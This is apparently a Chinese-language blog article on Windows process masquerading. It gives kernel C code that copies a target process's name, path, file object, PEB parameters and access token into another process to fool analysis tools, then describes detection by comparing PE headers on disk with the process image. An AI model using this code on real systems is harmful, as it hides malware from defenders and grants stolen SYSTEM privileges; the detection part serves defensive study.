进程伪装原理与破除

首先演示下进程伪装的效果

伪装前

进程伪装原理与破除

伪装后

进程伪装原理与破除

ark显示的信息

进程伪装原理与破除

通过测试发现,可以伪装成系统进程或者其他正常应用,来迷惑ark工具的查询;相比隐藏进程而言更加稳定和隐蔽。

伪装进程的实现方式:

1.傀儡进程,这种方法3环也可实现,原理类似LoadPE,在进程内存中手动拉伸修复我们的可执行程序。

2.修改进程结构体信息达到伪装。这种进程伪装核心思想:把要伪装成进程的各种信息复制到当前进程,并且不能干扰操作系统正常运行程序。可以理解为就是疯狂CV。

2的基本实现

1.复制eprocess中的ImageFileName[15]  进程名

   BOOLEAN fake_processimagename(PEPROCESS dest, PEPROCESS my)
 {


	   PCHAR destName = (PsGetProcessImageFileName)(dest);

	   PCHAR myName = (PsGetProcessImageFileName)(my);

	   (memcpy)(myName, destName, 15);

	  return   TRUE;
 }

2.复制eprocess中的SeAuditProcessCreationInfo  进程全路径

//0x8 bytes (sizeof)
struct _SE_AUDIT_PROCESS_CREATION_INFO
{
    struct _OBJECT_NAME_INFORMATION* ImageFileName;                         //0x0
};
	   PUNICODE_STRING myFullName = NULL;
	   PUNICODE_STRING destFullName = NULL;

	    (SeLocateProcessImageName)(my, &myFullName);
		(SeLocateProcessImageName)(dest, &destFullName);




	   PUNICODE_STRING newname = (PUNICODE_STRING)(ExAllocatePool)(NonPagedPool, destFullName->MaximumLength);
	   newname->Length = destFullName->Length;
	   newname->MaximumLength = destFullName->MaximumLength;
	   newname->Buffer = destFullName->Buffer;
	   (memcpy)(newname->Buffer, destFullName->Buffer, destFullName->Length);

	   *((PULONG64)((PUCHAR)my + get_eprocess_imagefilename_offset())) = (ULONG64)newname;

	   (ExFreePool)(myFullName);
	   return TRUE;

3.复制eprocess中的ImageFilePointer 文件对象

    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
        return FALSE;

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    ObDereferenceObject(pFileObject);
    return bRet;

4.复制eprocess中的Token 令牌

	   PACCESS_TOKEN pSystemToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(dest);
	   PACCESS_TOKEN MyToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(my);
	   
	* ((PULONG64)((PUCHAR)my + get_eprocess_token_offset())) = (ULONG64)pSystemToken;

	   (ObfDereferenceObject)(pSystemToken);
	   (ObfDereferenceObject)(MyToken);

5.复制eprocess中的Peb  环境块 注意32位程序与64位程序不同,这里只展示64位的,记得CommandLine,WindowTitle,CurrentDirectory也要复制不然ark一眼看出差距。

	   PPEB64 destPeb = (PPEB64)(PsGetProcessPeb)(dest);

	   PPEB64 myPeb = (PPEB64)(PsGetProcessPeb)(my);
	   if (!destPeb || !myPeb) return 0;

	   KAPC_STATE fakeApcState = { 0 };
	   KAPC_STATE srcApcState = { 0 };

	   UNICODE_STRING ImagePathName = { 0 };
	   UNICODE_STRING CommandLine = { 0 };
	   UNICODE_STRING WindowTitle = { 0 };
	   UNICODE_STRING dospath={0};
	   ULONG64 Handle=0;
	   (KeStackAttachProcess)(dest, &srcApcState);

	
	   SIZE_T pro = NULL;
	   ( MmCopyVirtualMemory)(dest, destPeb, dest, destPeb, 1, UserMode, &pro);
	   (MmCopyVirtualMemory)(dest, destPeb->ProcessParameters, dest, destPeb->ProcessParameters, 1, UserMode, &pro);

	   //复制ImagePathName
	   if (destPeb->ProcessParameters->ImagePathName.Length)
	   {
		   ImagePathName.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->ImagePathName.MaximumLength);
		   (memcpy)(ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Length);
		   ImagePathName.Length = destPeb->ProcessParameters->ImagePathName.Length;
		   ImagePathName.MaximumLength = destPeb->ProcessParameters->ImagePathName.MaximumLength;
	   }
	   //复制CommandLine
	   if (destPeb->ProcessParameters->CommandLine.Length)
	   {
		   CommandLine.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CommandLine.MaximumLength);
		   (memcpy)(CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Length);
		   CommandLine.Length = destPeb->ProcessParameters->CommandLine.Length;
		   CommandLine.MaximumLength = destPeb->ProcessParameters->CommandLine.MaximumLength;
	   }

	   //复制WindowTitle
	   if (destPeb->ProcessParameters->WindowTitle.Length)
	   {
		   WindowTitle.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->WindowTitle.MaximumLength);
		   (memcpy)(WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Length);
		   WindowTitle.Length = destPeb->ProcessParameters->WindowTitle.Length;
		   WindowTitle.MaximumLength = destPeb->ProcessParameters->WindowTitle.MaximumLength;
	   }
	   //复制CurrentDirectory
	   if (destPeb->ProcessParameters->CurrentDirectory.DosPath.Length)
	   {
		   dospath.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
		   (memcpy)(dospath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Length);
		   dospath.Length = destPeb->ProcessParameters->CurrentDirectory.DosPath.Length;
		   dospath.MaximumLength = destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength;
		   Handle = (ULONG64)destPeb->ProcessParameters->CurrentDirectory.Handle;
	   }
	   (KeUnstackDetachProcess)(&srcApcState);



	   //附加要伪装的进程,并复制


	   (KeStackAttachProcess)(my, &fakeApcState);


	   (MmCopyVirtualMemory)(my, myPeb, my, myPeb, 1, UserMode, &pro);
	   (MmCopyVirtualMemory)(my, myPeb->ProcessParameters, my, myPeb->ProcessParameters, 1, UserMode, &pro);

	   //复制ImagePathName
	   myPeb->ProcessParameters->ImagePathName.Length = ImagePathName.Length;
	   myPeb->ProcessParameters->ImagePathName.MaximumLength = ImagePathName.MaximumLength;
	   myPeb->ProcessParameters->ImagePathName.Buffer = ImagePathName.Buffer;


	   //复制CommandLine
	   myPeb->ProcessParameters->CommandLine.Length = CommandLine.Length;
	   myPeb->ProcessParameters->CommandLine.MaximumLength = CommandLine.MaximumLength;
	   myPeb->ProcessParameters->CommandLine.Buffer = CommandLine.Buffer;

	   //复制WindowTitle

	   myPeb->ProcessParameters->WindowTitle.Length = WindowTitle.Length;
	   myPeb->ProcessParameters->WindowTitle.MaximumLength = WindowTitle.MaximumLength;
	   myPeb->ProcessParameters->WindowTitle.Buffer = WindowTitle.Buffer;
	   //复制CurrentDirectory

	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Length = dospath.Length;
	   myPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength = dospath.MaximumLength;
	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer = dospath.Buffer;
	   myPeb->ProcessParameters->CurrentDirectory.Handle = (PVOID)Handle;


	   (KeUnstackDetachProcess)(&fakeApcState);

	   if (ImagePathName.Length) (ExFreePool)(ImagePathName.Buffer);
	   if (CommandLine.Length) (ExFreePool)(CommandLine.Buffer);
	   if (WindowTitle.Length) (ExFreePool)(WindowTitle.Buffer);
	   if (dospath.Length) (ExFreePool)(dospath.Buffer);

6.到此为止一个最基本的伪装进程已经实现,当然还有好多细节没有copy,细节就靠个人发挥了。

查询伪装进程

那么问题来了,如果恶意程序进行了伪装,我们应该如何查询呢?

俗话说的好,假的永远是假的,代替不了真的。下面介绍几个常见的查询点:

1.模块,虽然主模块可以伪装一致,但是其他模块和模块数量明显的差异,且模块大小和基地址都可能存在差异

进程伪装原理与破除

2.窗口,如果伪装成例如系统进程csrss.exe是没有窗口的

进程伪装原理与破除

3.其他进程结构体,一般进程伪装不会完美伪装每一个细节,可以从细节信息对比差异,如eprocess中的ImagePathHash,不过本人不会从这里查,我假设伪装者很努力,复制了所有细节并且使用pdb解析完美兼容所有系统。

4.dump可疑进程内存,并上传样本;不过对于个人而言还是太吃经济了。

5.线程,很难保证伪装和被伪装的线程一致

6.内存对比,伪装后进程的文件对象被修改成被伪装进程的对象,我们可以利用这一点反其道而行,读取路径中文件的pe信息与进程内存相比较。

本人采用的思路是第六种,具体操作对比pe可选头中的镜像大小SizeOfImage,入口点 AddressOfEntryPoint,以及入口点的前几个字节,简单有效

//大小: 32bit(0xE0) 64bit(0xF0)
typedef struct _IMAGE_OPTIONAL_HEADER {
 
    WORD    Magic;                          //文件类型: 10bh为32位PE文件 / 20bh为64位PE文件
    BYTE    MajorLinkerVersion;             //链接器(主)版本号 对执行没有任何影响
    BYTE    MinorLinkerVersion;             //链接器(次)版本号 对执行没有任何影响
    DWORD   SizeOfCode;                     //包含代码的节的总大小.文件对齐后的大小.编译器填的没用
    DWORD   SizeOfInitializedData;          //包含已初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.
    DWORD   SizeOfUninitializedData;        //包含未初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.(未初始化数据,在文件中不占用空间;但在被加载到内存后,PE加载程序会为这些数据分配适当大小的虚拟地址空间).
    DWORD   AddressOfEntryPoint;            //程序入口(RVA)
    DWORD   BaseOfCode;                     //代码的节的基址(RVA).编译器填的没用(代码节起始的RVA,表示映像被加载进内存时代码节的开头相对于ImageBase的偏移地址,节的名称通常为".text")
    DWORD   BaseOfData;                     //数据的节的基址(RVA).编译器填的没用(数据节起始的RVA,表示映像被加载进内存时数据节的开头相对于ImageBase的偏移地址,节的名称通常为".data")
    DWORD   ImageBase;                      //内存镜像基址
    DWORD   SectionAlignment;               //内存对齐大小
    DWORD   FileAlignment;                  //文件对齐大小
    WORD    MajorOperatingSystemVersion;    //标识操作系统主版本号 
    WORD    MinorOperatingSystemVersion;    //标识操作系统次版本号 
    WORD    MajorImageVersion;              //PE文件自身的主版本号
    WORD    MinorImageVersion;              //PE文件自身的次版本号
    WORD    MajorSubsystemVersion;          //运行所需子系统主版本号
    WORD    MinorSubsystemVersion;          //运行所需子系统次版本号
    DWORD   Win32VersionValue;              //子系统版本的值.必须为0,否则程序运行失败.
    DWORD   SizeOfImage;                    //内存中整个PE文件的映射尺寸.可比实际的值大.必须是SectionAlignment的整数倍
    DWORD   SizeOfHeaders;                  //所有头+节表按照文件对齐后的大小.
    DWORD   CheckSum;                       //校验和.大多数PE文件该值为0.在内核模式的驱动程序和系统DLL中,该值则是必须存在且是正确的.在IMAGEHLP.DLL中函数CheckSumMappedFile就是用来计算文件头校验和的,对于整个PE文件也有一个校验函数MapFileAndCheckSum.
    WORD    Subsystem;                      //文件子系统  驱动程序(1) 图形界面(2) 控制台/DLL(3)
    WORD    DllCharacteristics;             //文件特性.不是针对DLL文件的
    DWORD   SizeOfStackReserve;             //初始化时保留的栈大小.该字段默认值为0x100000(1MB),如果调用API函数CreateThread时,堆栈参数大小传入NULL,则创建出来的栈大小将是1MB.
    DWORD   SizeOfStackCommit;              //初始化时实际提交的栈大小.保证初始线程的栈实际占用内存空间的大小,它是被系统提交的.这些提交的栈不存在与交换文件里,而是在内存中.
    DWORD   SizeOfHeapReserve;              //初始化时保留的堆大小.用来保留给初始进程堆使用的虚拟内存,这个堆的句柄可以通过调用函数GetProcessHeap获得.每一个进程至少会有一个默认的进程堆,该堆在进程启动时被创建,而且在进程的生命期中不会被删除.默认值为1MB.
    DWORD   SizeOfHeapCommit;               //初始化时实践提交的堆大小.在进程初始化时设定的堆所占用的内存空间,默认值为PAGE_SIZE. 
    DWORD   LoaderFlags;                    //调试相关
    DWORD   NumberOfRvaAndSizes;            //目录项数目,默认为10h.
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//结构数组 数组元素个数由IMAGE_NUMBEROF_DIRECTORY_ENTRIES定义
} IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;

代码没啥可看的,太水了,当然文章讲述的更多是思路,也不排除是本人太懒。

进程伪装原理与破除

检测伪装进程演示:

正常程序,文件和内存镜像一致

进程伪装原理与破除

伪装后的两个程序

进程伪装原理与破除

对比内存和文件后发现不一致,可以判定疑似伪装

进程伪装原理与破除